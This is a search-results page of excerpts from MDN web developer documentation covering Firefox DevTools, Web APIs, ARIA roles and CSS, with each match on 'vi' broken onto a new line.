... this header is a flex container: each navbar link is a flex item: the nav element within the header is both a flex item and a flex container which holds the na
vigation links: in the css pane in the css pane's rules
view, any instance of a display: flex declaration gets a small flexbox icon next to the word flex.
...And 5 more matches
Allocations - Firefox Developer Tools
the allocations
view in the performance tool shows you which functions in your page are allocating the most memory over the course of the profile.
... the allocations
view is new in firefox 46.
... to enable the allocations
view, you must check "record allocations" in the performance tool settings, before recording a profile.
...And 5 more matches
Animating CSS properties - Firefox Developer Tools
the intention of this scenario isn't to con
vince you that animating using margin is always a bad idea.
... there's also a
video version of this walkthrough: animating using margin lea
ving the "use margin" option set, start the animation, open the performance tool, and make a recording.
...exactly what you'll see depends a lot on your machine and system load, but it will be something like this: this is showing three distinct
views: (a) an over
view of the waterfall, (b) the frame rate, and (c) the timeline details.
...And 5 more matches
The JavaScript input interpreter - Firefox Developer Tools
you can interpret javascript expressions in real time using the interpreter pro
vided by the web console.
... you get autocomplete suggestions for array elements, as well: you can enable or disable autocompletion
via the settings ("gear") menu in the web console toolbar.
... you can enable or disable instant evaluation
via the settings ("gear") menu in the web console toolbar.
...And 5 more matches
Animation - Web APIs
the animation interface of the web animations api represents a single animation player and pro
vides playback controls and a timeline for an animation node or source.
... animation.persist() explicitly persists an animation, when it would otherwise be removed due to the browser's automatically remo
ving filling animations beha
vior.
... animation.play() starts or resumes playing of an animation, or begins the animation again if it pre
viously finished.
...And 5 more matches
AudioTrack - Web APIs
the audiotrack interface represents a single audio track from one of the html media elements, <audio> or <
video>.
... label read only a domstring pro
viding a human-readable label for the track.
... for example, an audio commentary track for a mo
vie might have a label of "commentary with director john q.
...And 5 more matches
Background Tasks API - Web APIs
the cooperative scheduling of background tasks api (also referred to as the background tasks api or simply the requestidlecallback() api) pro
vides the ability to queue tasks to be executed automatically by the user agent when it determines that there is free time to do so.
...this code draws any pending updates to the document currently being displayed, runs any javascript code the page needs to run, accepts events from input de
vices, and dispatches those events to the elements that should receive them.
... because event handling and screen updates are two of the most ob
vious ways users notice performance issues, it's important for your code to be a good citizen of the web and help to prevent stalls in the execution of the event loop.
...And 5 more matches
Beacon API - Web APIs
example use cases of the beacon api are logging acti
vity and sending analytics data to the server.
...the synchronous xmlhttprequest forces the browser to delay unloading the document, and makes the next na
vigation appear to be slower.
... not only do these techniques represent poor coding patterns, some of them are unreliable and result in the perception of poor page load performance for the next na
vigation.
...And 5 more matches
Basic animations - Web APIs
« pre
viousnext » since we're using javascript to control <canvas> elements, it's also very easy to make (interactive) animations.
... basic animation steps these are the steps you need to take to draw a frame: clear the canvas unless the shapes you'll be drawing fill the complete canvas (for instance a backdrop image), you need to clear any shapes that have been drawn pre
viously.
...the requestanimationframe method pro
vides a smoother and more efficient way for animating by calling the animation frame when the system is ready to paint the frame.
...And 5 more matches
console - Web APIs
the console object pro
vides access to the browser's debugging console (e.g.
...the specifics of how it works varies from browser to browser, but there is a de facto set of features that are typically pro
vided.
...window on browsing scopes and workerglobalscope as specific variants in workers
via the property console.
...And 5 more matches
Constraint validation API - Web APIs
however, you may want to impose more complex constraints, or to pro
vide clearer reporting of validation failures than the defaults.
...client side validation is a tool for gi
ving quick feedback to the user.
...try again!'); } }); the example renders like so: in brief: we check the valid state of the input element every time its value is changed by running the checkvalidity() method
via the input event handler.
...And 5 more matches
Credential Management API - Web APIs
credential management concepts and usage this api lets websites interact with a user agent’s password system so that websites can deal in a uniform way with site credentials and user agents can pro
vide better assistance with the management of their credentials.
... for example, user agents have a particularly hard time dealing with federated identity pro
viders or esoteric sign-in mechanisms that use more than just a username and password.
... to address these problems, the credential management api pro
vides ways for a website to store and retrieve different types of credentials.
...And 5 more matches
Introduction to the DOM - Web APIs
this documentation pro
vides an object-by-object reference to the dom.
...the page content is stored in the dom and may be accessed and manipulated
via javascript, so that we may write this approximative equation: api = dom + javascript the dom was designed to be independent of any particular programming language, making the structural representation of the document available from a single, consistent api.
...implementations of the dom can be built for any language, as this python example demonstrates: # python dom example import xml.dom.minidom as m doc = m.parse(r"c:\projects\py\chap1.xml") doc.nodename # dom property of document object p_list = doc.getelementsbytagname("para") for more information on what technologies are involved in writing javascript on the web, see javascript technologies over
view.
...And 5 more matches
Traversing an HTML table with JavaScript and DOM Interfaces - Web APIs
introduction this article is an over
view of some powerful, fundamental dom level 1 methods and how to use them from javascript.
...the demonstrations pro
vided here will work fine in any modern browser, including all versions of firefox and ie 5+.
...[0]; // now, get all the p elements that are descendants of the body mybodyelements = mybody.getelementsbytagname("p"); // get the second item of the list of p elements myp = mybodyelements[1]; myp.style.background = "rgb(255,0,0)"; } in this example, we set the myp variable to the dom object for the second p element inside the body: first, we get a list of all the body elements
via mybody = document.getelementsbytagname("body")[0] since there is only one body element in any valid html document, this list will have only one item, which we retrieve by selecting the first element in that list using [0].
...And 5 more matches
Element: mousewheel event - Web APIs
the obsolete and non-standard mousewheel event is fired asynchronously at an element to pro
vide updates while a mouse wheel or similar de
vice is operated.
...when a user operates the de
vice for scrolling to right, the value is negative.
...this makes the same beha
vior as ie and chrome for windows.
...And 5 more matches
ExtendableEvent.waitUntil() - Web APIs
in ser
vice workers, waituntil() tells the browser that work is ongoing until the promise settles, and it shouldn't terminate the ser
vice worker if it wants that work to complete.
... the install events in ser
vice workers use waituntil() to hold the ser
vice worker in the installing phase until tasks complete.
... if the promise passed to waituntil() rejects, the install is considered a failure, and the installing ser
vice worker is discarded.
...And 5 more matches
ExtendableEvent - Web APIs
the extendableevent interface extends the lifetime of the install and activate events dispatched on the global scope as part of the ser
vice worker lifecycle.
... note: the beha
viour described in the above paragraph was fixed in firefox 43 (see bug 1180274.) this interface inherits from the event interface.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 8.571428571428571%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-20 0 700 60" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/extendableevent" tar...
...And 5 more matches
FetchEvent - Web APIs
this is the event type for fetch events dispatched on the ser
vice worker global scope.
...it pro
vides the event.respondwith() method, which allows us to pro
vide a response to this fetch.
...the browser creates these objects itself and pro
vides them to fetch event callbacks.
...And 5 more matches
FileSystemFlags - Web APIs
methods which accept an options parameter of this type may specify zero or more of these flags as fields in an object, like this: datadirectoryentry.getdirectory("workspace", { create: true }, function(entry) { }); here, we see that the create property is pro
vided, with a value of true, indicating that the directory should be created if it's not already there.
... false n/a[1] path exists but doesn't match the desired type the errorcallback is called with an appropriate error code (if the callback was pro
vided).
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfilesystemflags experimentalchrome full support 13prefixed full support 13prefixed prefixed implemented with the vendor prefix: webkitedge full support ≤79prefixed ...
...And 5 more matches
HTMLIFrameElement.allowPaymentRequest - Web APIs
html li
ving standardthe definition of 'htmliframeelement: allowpaymentrequest' in that specification.
... li
ving standard browser compatibility the compatibility table on this page is generated from structured data.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetallowpaymentrequest experimentalchrome full support 60disabled full support 60disabled disabled from version 60: this feature is behind the #web-payments preference (needs to be set to enabled).
...And 5 more matches
HTMLImageElement.loading - Web APIs
the htmlimageelement property loading is a string whose value pro
vides a hint to the user agent that tells the browser how to handle loading images which are currently outside the window's
visual
viewport.
... syntax let imageloadscheduling = htmlimageelement.loading; htmlimageelement.loading = eagerorlazy; value a domstring pro
viding a hint to the user agent as to how to best schedule the loading of the image to optimize page performance.
... the possible values are: eager the default beha
vior, eager tells the browser to load the image as soon as the <img> element is processed.
...And 5 more matches
HTMLMediaElement.srcObject - Web APIs
examples basic example in this example, a mediastream from a camera is assigned to a newly-created <
video> element.
... const mediastream = await na
vigator.mediade
vices.getusermedia({
video: true}); const
video = document.createelement('
video');
video.srcobject = mediastream; in this example, a new mediasource is assigned to a newly-created <
video> element.
... const mediasource = new mediasource(); const
video = document.createelement('
video');
video.srcobject = mediasource; supporting fallback to the src property the examples below support older browser versions that require you to create an object url and assign it to src if srcobject isn't supported.
...And 5 more matches
Using microtasks in JavaScript with queueMicrotask() - Web APIs
a microtask is a short function which is executed after the function or program which created it exits and only if the javascript execution stack is empty, but before returning control to the event loop being used by the user agent to drive the script's execution en
vironment.
... this event loop may be either the browser's main event loop or the event loop dri
ving a web worker.
...this is a quick, simplified explanation, but if you would like more details, you can read the information in the article in depth: microtasks and the javascript runtime en
vironment.
...And 5 more matches
History API - Web APIs
the dom window object pro
vides access to the browser's session history (not to be confused for webextensions history) through the history object.
... it exposes useful methods and properties that let you na
vigate back and forth through the user's history, and manipulate the contents of the history stack.
... concepts and usage mo
ving backward and forward through the user's history is done using the back(), forward(), and go() methods.
...And 5 more matches
IDBDatabase.transaction() - Web APIs
if you don't pro
vide the parameter, the default access mode is readonly.
... if you need to open the object store in readwrite mode to change data, you would use the following: var transaction = db.transaction('my-store-name', "readwrite"); as of firefox 40, indexeddb transactions have relaxed durability guarantees to increase performance (see bug 1112702), which is the same beha
viour as other indexeddb-supporting browsers.
... pre
viously in a readwrite transaction idbtransaction.oncomplete was fired only when all data was guaranteed to have been flushed to disk.
...And 5 more matches
Basic concepts - Web APIs
indexeddb is useful for applications that store a large amount of data (for example, a catalog of dvds in a lending library) and applications that don't need persistent internet connecti
vity to work (for example, mail clients, to-do lists, and notepads).
... you'll find the following useful: for an over
view of the design and structure of indexeddb, see big concepts.
... for more information on how the browser handles storing your data in the background, read browser storage limits and e
viction criteria.
...And 5 more matches
Checking when a deadline is due - Web APIs
in this article we look at a complex example invol
ving checking the current time and date against a deadline stored
via indexeddb.
... the main example application we will be referring to in this article is to-do list notifications, a simple to-do list application that stores task titles and deadline times and dates
via indexeddb, and then pro
vides users with notifications when deadline dates are reached,
via the notification, and
vibration apis.
... you can download the to-do list notifications app from github and play around with the source code, or
view the app running live.
...And 5 more matches
Location - Web APIs
both the document and window interface have such a linked location, accessible
via document.location and window.location respectively.
...if changed, the associated document na
vigates to the new page.
...modern browsers pro
vide urlsearchparams and url.searchparams to make it easy to parse out the parameters from the querystring.
...And 5 more matches
MediaConfiguration - Web APIs
properties a valid configuration includes a valid encoding configuration type or decoding configuration type and a valid audio configuration or
video configuration.
...
video configurations mush include a valid
video mime type as contenttype, the bitrate, and framerate, along with the width and the height of the
video file.
... a valid
video configuration includes: contenttype: valid
video mime type.
...And 5 more matches
MediaTrackSettings.groupId - Web APIs
the mediatracksettings dictionary's groupid property is a browsing-session unique domstring which identifies the group of de
vices which includes the source for the mediastreamtrack.
... this lets you determine what value was selected to comply with your specified constraints for this property's value as described in the mediatrackconstraints.groupid property you pro
vided when calling either getusermedia().
... if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.groupid as returned by a call to mediade
vices.getsupportedconstraints().
...And 5 more matches
Using the Notifications API - Web APIs
typically, system notifications refer to the operating system's standard notification mechanism: think for example of how a typical desktop system or mobile de
vice broadcasts notifications.
... examples one of the most ob
vious use cases for web notifications is a web-based mail or irc application that needs to notify the user when a new message is received, even if the user is doing something else with another application.
...download the to-do list code, or
view the app running live.
...And 5 more matches
PaymentResponse.shippingAddress - Web APIs
the shippingaddress read-only property of the paymentrequest interface returns a paymentaddress object containing the shipping address pro
vided by the user.
... syntax var shippingaddress = paymentrequest.shippingaddress; value a paymentaddress object pro
viding details comprising the shipping address pro
vided by the user.
... // initialization of paymentrequest arguments are excerpted for bre
vity.
...And 5 more matches
PerformanceResourceTiming - Web APIs
additionally, the interface extends performanceentry with other properties which pro
vide data about the size of the fetched resource as well as the type of resource that initiated the fetch.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/performanceentry" target="_top"><rect x="1" y="1" width="160" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="81" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">performanceentry</text></a><polyline points="161,25 171,20 171,30 161,25" stroke="#d4dde4" fill="none"/><line x1="171" y1="25" x2="201" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/w...
...an alphabetical listing is shown in the na
vigation, at left.
...And 5 more matches
Performance Timeline - Web APIs
the extensions pro
vide interfaces to retrieve performance entry metrics based on specific filter criteria.
... this document pro
vides an over
view of the standard's interfaces.
... performance extensions the performance timeline api extends the performance interface with three methods that pro
vide different mechanisms to get a set of performance records (metrics), depending on the specified filter criteria.
...And 5 more matches
Pinch zoom gestures - Web APIs
example in this example, you use the pointer events to simultaneously detect two pointing de
vices of any type, including fingers, mice, and pens.
... <style> div { margin: 0em; padding: 2em; } #target { background: white; border: 1px solid black; } </style> global state supporting a two-pointer gesture requires preser
ving a pointer's event state during various event phases.
... when this event is processed, the target's border is set to dashed to pro
vide a clear
visual indication the element has received a move event.
...And 5 more matches
PushRegistrationManager - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetpushregistrationmanager experimentaldeprecatedchrome no support noedge no support nofirefox ?
... web
view android no support nochrome android no support nofirefox android ?
... web
view android no support nochrome android no support nofirefox android ?
...And 5 more matches
RTCDtlsTransport - Web APIs
the rtcdtlstransport interface pro
vides access to information about the datagram transport layer security (dtls) transport over which a rtcpeerconnection's rtp and rtcp packets are sent and received by its rtcrtpsender and rtcrtpreceiver objects.
... a dtls transport is also used to pro
vide information about sctp packets transmitted and received by an connection's data channels.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/rtcdtlstransport" target="_top"><rect x="1" y="1" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="81" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">rtcdtlstransport</text></a></svg>...
...And 5 more matches
RTCPeerConnection.setRemoteDescription() - Web APIs
this is typically called after recei
ving an offer or answer from another peer over the signaling server.
...see pending and current descriptions in webrtc connecti
vity for more details on this process.
... typeerror the specified rtcsessiondescriptioninit or rtcsessiondescription object is missing the type property, or no description parameter was pro
vided at all.
...And 5 more matches
RTCRemoteOutboundRtpStreamStats.localId - Web APIs
together, these two objects pro
vide statistics about the inbound and outbound sides of the same synchronization source (ssrc).
... usage notes you can think of the local and remote
views of the same rtp stream as pairs, each of which has a reference back to the other one.
...both of these pro
vide information about the same batch of packets being transmitted from the remote peer to the local de
vice.
...And 5 more matches
Request.mode - Web APIs
the mode read-only property of the request interface contains the mode of the request (e.g., cors, no-cors, same-origin, or na
vigate.) this is used to determine if cross-origin requests lead to valid responses, and which properties of the response are readable.
...if any ser
viceworkers intercept these requests, they may not add or override any headers except for those that are simple headers.
...this ensures that ser
viceworkers do not affect the semantics of the web and prevents security and privacy issues arising from leaking data across domains.
...And 5 more matches
Resource Timing API - Web APIs
the resource timing interfaces enable retrie
ving and analyzing detailed network timing data regarding the loading of an application's resource(s).
...the interface also includes other properties that pro
vide data about the size of the fetched resource as well as the type of resource that initiated the fetch.
... this document pro
vides an over
view of the resource timing interfaces.
...And 5 more matches
SVGAnimatedPathData - Web APIs
interface over
view also implement none methods none properties svgpathseglist animatednormalizedpathseglist svgpathseglist animatedpathseglist svgpathseglist normalizedpathseglist svgpathseglist pathseglist normative document svg 1.1 (2nd edition) properties this interface also inherits prop...
... name type description animatednormalizedpathseglist svgpathseglist pro
vides access to the current animated contents of the 'd' attribute in a form where all path data commands are expressed in terms of the following subset of svgpathseg types: svg_pathseg_moveto_abs (m), svg_pathseg_lineto_abs (l), svg_pathseg_curveto_cubic_abs (c) and svg_pathseg_closepath (z).
... animatedpathseglist svgpathseglist pro
vides access to the current animated contents of the 'd' attribute in a form which matches one-for-one with svg's syntax.
...And 5 more matches
SVGCircleElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 700 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" ...
... example svg content <svg xmlns="http://www.w3.org/2000/svg"
viewbox="0 0 250 250" width="250" height="250"> <circle cx="100" cy="100" r="50" fill="gold" id="circle" onclick="clickcircle();"/> </svg> javascript content this function clickcircle() is called when the circle is clicked.
...10 : -10; // clamp the circle radius to a minimum of 10 and a maximum of 250, // so it won't disappear or get bigger than the
viewport var newvalue = math.min(math.max(circle.r.baseval.value + change, 10), 250); circle.setattribute("r", newvalue); } click on the circle.
...And 5 more matches
ScreenOrientation - Web APIs
the screenorientation interface of the the screen orientation api pro
vides information about the current orientation of the document.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetscreenorientationchrome full support 38edge full support 79firefox full support 43ie no support noopera full support ...
... 25safari no support noweb
view android full support 38chrome android full support 38firefox android full support 43opera android full support 25safari ios no support nosamsung internet android full support 3.0anglechrome full support 38edge full support 79firefox full support 43ie no support ...
...And 5 more matches
Screen Orientation API - Web APIs
the screen orientation api pro
vides information about the orientation of the screen.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetscreenorientationchrome full support 38edge full support 79firefox full support 43ie no support noopera full support ...
... 25safari no support noweb
view android full support 38chrome android full support 38firefox android full support 43opera android full support 25safari ios no support nosamsung internet android full support 3.0anglechrome full support 38edge full support 79firefox full support 43ie no support ...
...And 5 more matches
onnotificationclose - Web APIs
the ser
viceworkerglobalscope.onnotificationclose property is an event handler called whenever the notificationclose event is dispatched on the ser
viceworkerglobalscope object, that is when a user closes a displayed notification spawned by ser
viceworkerregistration.shownotification().
... notifications created on the main thread or in workers which aren't ser
vice workers using the notification() constructor will instead receive a close event on the notification object itself.
... note: trying to create a notification inside the ser
viceworkerglobalscope using the notification() constructor will throw an error.
...And 5 more matches
SourceBuffer - Web APIs
the sourcebuffer interface represents a chunk of media to be passed into an htmlmediaelement and played,
via a mediasource object.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="...
... sourcebuffer.
videotracks read only a list of the
video tracks currently contained inside the sourcebuffer.
...And 5 more matches
Streams API concepts - Web APIs
the streams api adds a very useful set of tools to the web platform, pro
viding objects allowing javascript to programmatically access streams of data received over the network and process them as desired by the developer.
...examples include
video streams and tcp/web sockets.
...examples include a file access operation
via a fetch or xhr call.
...And 5 more matches
Streams API - Web APIs
this is something browsers do anyway when recei
ving assets to be shown on webpages —
videos buffer and more is gradually available to play, and sometimes you'll see images display gradually as more is loaded.
...pre
viously, if we wanted to process a resource of some kind (be it a
video, or a text file, etc.), we'd have to download the entire file, wait for it to be deserialized into a suitable format, then process the whole lot after it is fully received.
... more complicated uses involve creating your own stream using the readablestream() constructor, for example to process data inside a ser
vice worker.
...And 5 more matches
TextTrackList - Web APIs
the indi
vidual tracks can be accessed using array syntax or functions such as foreach() for example.
... also available
via the onaddtrack property.
... also available
via the onchange property.
...And 5 more matches
Multi-touch interaction - Web APIs
en element var el=document.getelementbyid(name); el.ontouchstart = start_handler; el.ontouchmove = move_handler; // use same handler for touchcancel and touchend el.ontouchcancel = end_handler; el.ontouchend = end_handler; } function init() { set_handlers("target1"); set_handlers("target2"); set_handlers("target3"); set_handlers("target4"); } move/pinch/zoom handler this function pro
vides very basic support for 2-touch horizontal move/pinch/zoom handling.
... the code does not include error handling, or vertical mo
ving.
... note that the threshold for pinch and zoom movement detection is application specific (and de
vice dependent).
...And 5 more matches
TreeWalker - Web APIs
note: in the context of a treewalker, a node is
visible if it exists in the logical
view determined by the whattoshow and filter parameter arguments.
... (whether or not the node is
visible on the screen is irrelevant.) treewalker.parentnode() moves the current node to the first
visible ancestor node in the document order, and returns the found node.
... treewalker.firstchild() moves the current node to the first
visible child of the current node, and returns the found child.
...And 5 more matches
WakeLockSentinel - Web APIs
the wakelocksentinel interface of the screen wake lock api pro
vides a handle to the underlying platform wake lock and can be manually released and reacquired.
... an object representing the wake lock is returned
via the na
vigator.wakelock.request() method.
... an acquired wakelocksentinel can be released manually
via the release() method, or automatically
via the platform wake lock.
...And 5 more matches
WebGLRenderingContext.makeXRCompatible() - Web APIs
the webglrenderingcontext method makexrcompatible() ensures that the rendering context described by the webglrenderingcontext is ready to render the scene for the immersive webxr de
vice on which it will be displayed.
... if necessary, the webgl layer may reconfigure the context to be ready to render to a different de
vice than it originally was.
... invalidstateerror the webgl context has been lost or there is no available webxr de
vice.
...And 5 more matches
WebGLRenderingContext.texImage2D() - Web APIs
syntax // webgl1: void gl.teximage2d(target, level, internalformat, width, height, border, format, type, arraybuffer
view?
...pixels); void gl.teximage2d(target, level, internalformat, format, type, html
videoelement?
...et, level, internalformat, width, height, border, format, type, glintptr offset); void gl.teximage2d(target, level, internalformat, width, height, border, format, type, htmlcanvaselement source); void gl.teximage2d(target, level, internalformat, width, height, border, format, type, htmlimageelement source); void gl.teximage2d(target, level, internalformat, width, height, border, format, type, html
videoelement source); void gl.teximage2d(target, level, internalformat, width, height, border, format, type, imagebitmap source); void gl.teximage2d(target, level, internalformat, width, height, border, format, type, imagedata source); void gl.teximage2d(target, level, internalformat, width, height, border, format, type, arraybuffer
view srcdata, srcoffset); parameters target a glenum specifyin...
...And 5 more matches
Matrix math for the web - Web APIs
matrices can be used to represent transformations of objects in space, and are used for performing many key types of computation when constructing images and
visualizing data on the web.
...check out the webgl model
view projection article for a look into how it comes in handy.
... from a matrix array function matrixarraytocssmatrix(array) { return 'matrix3d(' + array.join(',') + ')'; } // grab the dom element let moveme = document.getelementbyid('move-me'); // returns a result like: "matrix3d(1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 50, 100, 0, 1);" let matrix3drule = matrixarraytocssmatrix(translationmatrix); // set the transform moveme.style.transform = matrix3drule;
view on jsfiddle scale matrix a scale matrix makes something larger or smaller in one or more of the three dimensions: width, height, and depth.
...And 5 more matches
Writing WebSocket servers - Web APIs
browsers generally require a secure connection for websockets, although they may offer an exception for local de
vices.
... note: this seemingly overcomplicated process exists so that it's ob
vious to the client whether the server supports websockets.
... note: the server can send other headers like set-cookie, or ask for authentication or redirects
via other status codes, before sending the reply handshake.
...And 5 more matches
Window.customElements - Web APIs
the customelements read-only property of the window interface returns a reference to the customelementregistry object, which can be used to register new custom elements and get information about pre
viously registered custom elements.
... specification specification status comment html li
ving standardthe definition of 'window.customelements' in that specification.
... li
ving standard initial definition.
...And 5 more matches
Window.personalbar - Web APIs
returns the personalbar object, whose
visibility can be toggled in the window.
... syntax objref =window.personalbar example fixme: https://bugzilla.mozilla.org/show_bug.cgi?id=790023 the following complete html example shows the way that the
visible property of the various "bar" objects is used, and also the change to the pri
vileges necessary to write to the
visible property of any of the bars on an existing window.
... due to deprecation of enablepri
vilege this functionality can not be used in web pages.
...And 5 more matches
Window.toolbar - Web APIs
the window.toolbar property returns the toolbar object, whose
visibility can be toggled in the window.
... syntax objref = window.toolbar example the following complete html example shows way that the
visible property of the various "bar" objects is used, and also the change to the pri
vileges necessary to write to the
visible property of any of the bars on an existing window.
... due to deprecation of enablepri
vilege this functionality can not be used in web pages.
...And 5 more matches
WindowOrWorkerGlobalScope.fetch() - Web APIs
the fetch() method is controlled by the connect-src directive of content security policy rather than the directive of the resources it's retrie
ving.
... (this beha
vior was corrected in firefox 65 — see bug 1508661).
...to automatically send cookies for the current domain, this option must be pro
vided.
...And 5 more matches
XRPermissionDescriptor.mode - Web APIs
xrpermissiondescriptor = { mode: xrsessionmode, requiredfeatures: reqfeaturelist, optionalfeatures: optfeaturelist }; xrpermissiondescriptor.mode = xrsessionmode; xrmode = xrpermissiondescriptor.mode; value a domstring whose value is one of the strings found in the xrsessionmode enumerated type: immersive-ar the session's output will be given exclusive access to the immersive de
vice, but the rendered content will be blended with the real-world en
vironment.
... the session's en
vironmentblendmode indicates the method to be used to blend the content together.
... immersive-vr indicates that the rendered session will be displayed using an immersive xr de
vice in vr mode; it is not intended to be overlaid or integrated into the surrounding en
vironment.
...And 5 more matches
XRPermissionDescriptor.optionalFeatures - Web APIs
xrboundedreferencespace local a tracking space whose native origin is located near the
viewer's position at the time the session was created.
... for de
vices with six degrees of freedom (6dof) tracking, the local reference space tries to keep the origin stable relative to the en
vironment.
... xrreferencespace local-floor similar to the local type, except the starting position is placed in a safe location for the
viewer to stand, where the value of the y axis is 0 at floor level.
...And 5 more matches
XRReferenceSpaceType - Web APIs
xrboundedreferencespace local a tracking space whose native origin is located near the
viewer's position at the time the session was created.
... for de
vices with six degrees of freedom (6dof) tracking, the local reference space tries to keep the origin stable relative to the en
vironment.
... xrreferencespace local-floor similar to the local type, except the starting position is placed in a safe location for the
viewer to stand, where the value of the y axis is 0 at floor level.
...And 5 more matches
XRRigidTransform.inverse - Web APIs
that is, you can always get the inverse of any xrrigidtransform using its inverse property, instead of ha
ving to explicitly generate it.
... applying the inverse of a transform to any object pre
viously transformed by the parent xrrigidtransform always undoes the transformation, resulting in the object returning to its pre
vious pose.
... examples in this example, the model
view matrix for an object is computed by taking the
view matrix and multiplying it by the object's pose matrix.
...And 5 more matches
XRSession.requestReferenceSpace() - Web APIs
xrboundedreferencespace local a tracking space whose native origin is located near the
viewer's position at the time the session was created.
... for de
vices with six degrees of freedom (6dof) tracking, the local reference space tries to keep the origin stable relative to the en
vironment.
... xrreferencespace local-floor similar to the local type, except the starting position is placed in a safe location for the
viewer to stand, where the value of the y axis is 0 at floor level.
...And 5 more matches
XRSessionMode - Web APIs
the webxr de
vice api's xrsessionmode enumerated type defines the string values used to identify the possible kinds of session mode that can be used.
... values immersive-ar the session's output will be given exclusive access to the immersive de
vice, but the rendered content will be blended with the real-world en
vironment.
... the session's en
vironmentblendmode indicates the method to be used to blend the content together.
...And 5 more matches
XRSystem - Web APIs
the webxr de
vice api interface xrsystem pro
vides methods which let you get access to an xrsession object representing a webxr session.
... with that xrsession in hand, you can use it to interact with the augmented reality (ar) or
virtual reality (vr) de
vice.
... events de
vicechange sent when the set of available xr de
vices has changed.
...And 5 more matches
XRTargetRayMode - Web APIs
the webxr de
vice api enumerated type xrtargetraymode describes the method by an input controller's targeting ray is being produced.
...the target ray will be drawn originating at the
viewer's eyes and will follow the direction in which they're looking.
... screen the direction of the target ray is indicated using a tap on a touch screen, mouse, or other tactile input de
vice.
...And 5 more matches
Using the alert role - Accessibility
possible effects on user agents and assistive technology when the alert role is added to an element, or such an element becomes
visible, the user agent should do the following: expose the element as ha
ving an alert role in the operating system's accessibility api.
... screen magnifiers may
visually indicate that an alert occurred and what the alert text was.
...the information pro
vided above is one of those opinions and therefore not normative.
...And 5 more matches
WAI-ARIA Roles - Accessibility
elements containing role="checkbox" must also include the aria-checked attribute to expose the checkbox's state to assistive technology.aria: comment rolethe comment landmark role semantically denotes a comment/reaction to some content on the page, or to a pre
vious comment.aria: complementary rolethe complementary landmark role is used to designate a supporting section that relates to the main content, yet can stand alone when separated.
...if possible, use the html <aside> element instead.aria: contentinfo rolethe contentinfo landmark role is used to identify information repeated at the end of every page of a website, including copyright information, na
vigation links, and privacy statements.
...a figure is generally considered to be one or more images, code snippets, or other content that puts across information in a different way to a regular flow of text.aria: form rolethe form landmark role can be used to identify a group of elements on a page that pro
vide equivalent functionality to an html form.aria: grid rolethe grid role is for a widget that contains one or more rows of cells.
...And 5 more matches
@document - CSS: Cascading Style Sheets
url-prefix(), which matches if the document url starts with the value pro
vided.
... domain(), which matches if the document url is on the domain pro
vided (or a subdomain of it).
... media-document(), with the parameter of
video, image, plugin or all.
...And 5 more matches
Basic concepts of flexbox - CSS: Cascading Style Sheets
start and end lines another
vital area of understanding is how flexbox makes no assumption about the writing mode of the document.
... in the past, css was hea
vily weighted towards horizontal and left-to-right writing modes.
...try editing the items or adding additional items in order to test the initial beha
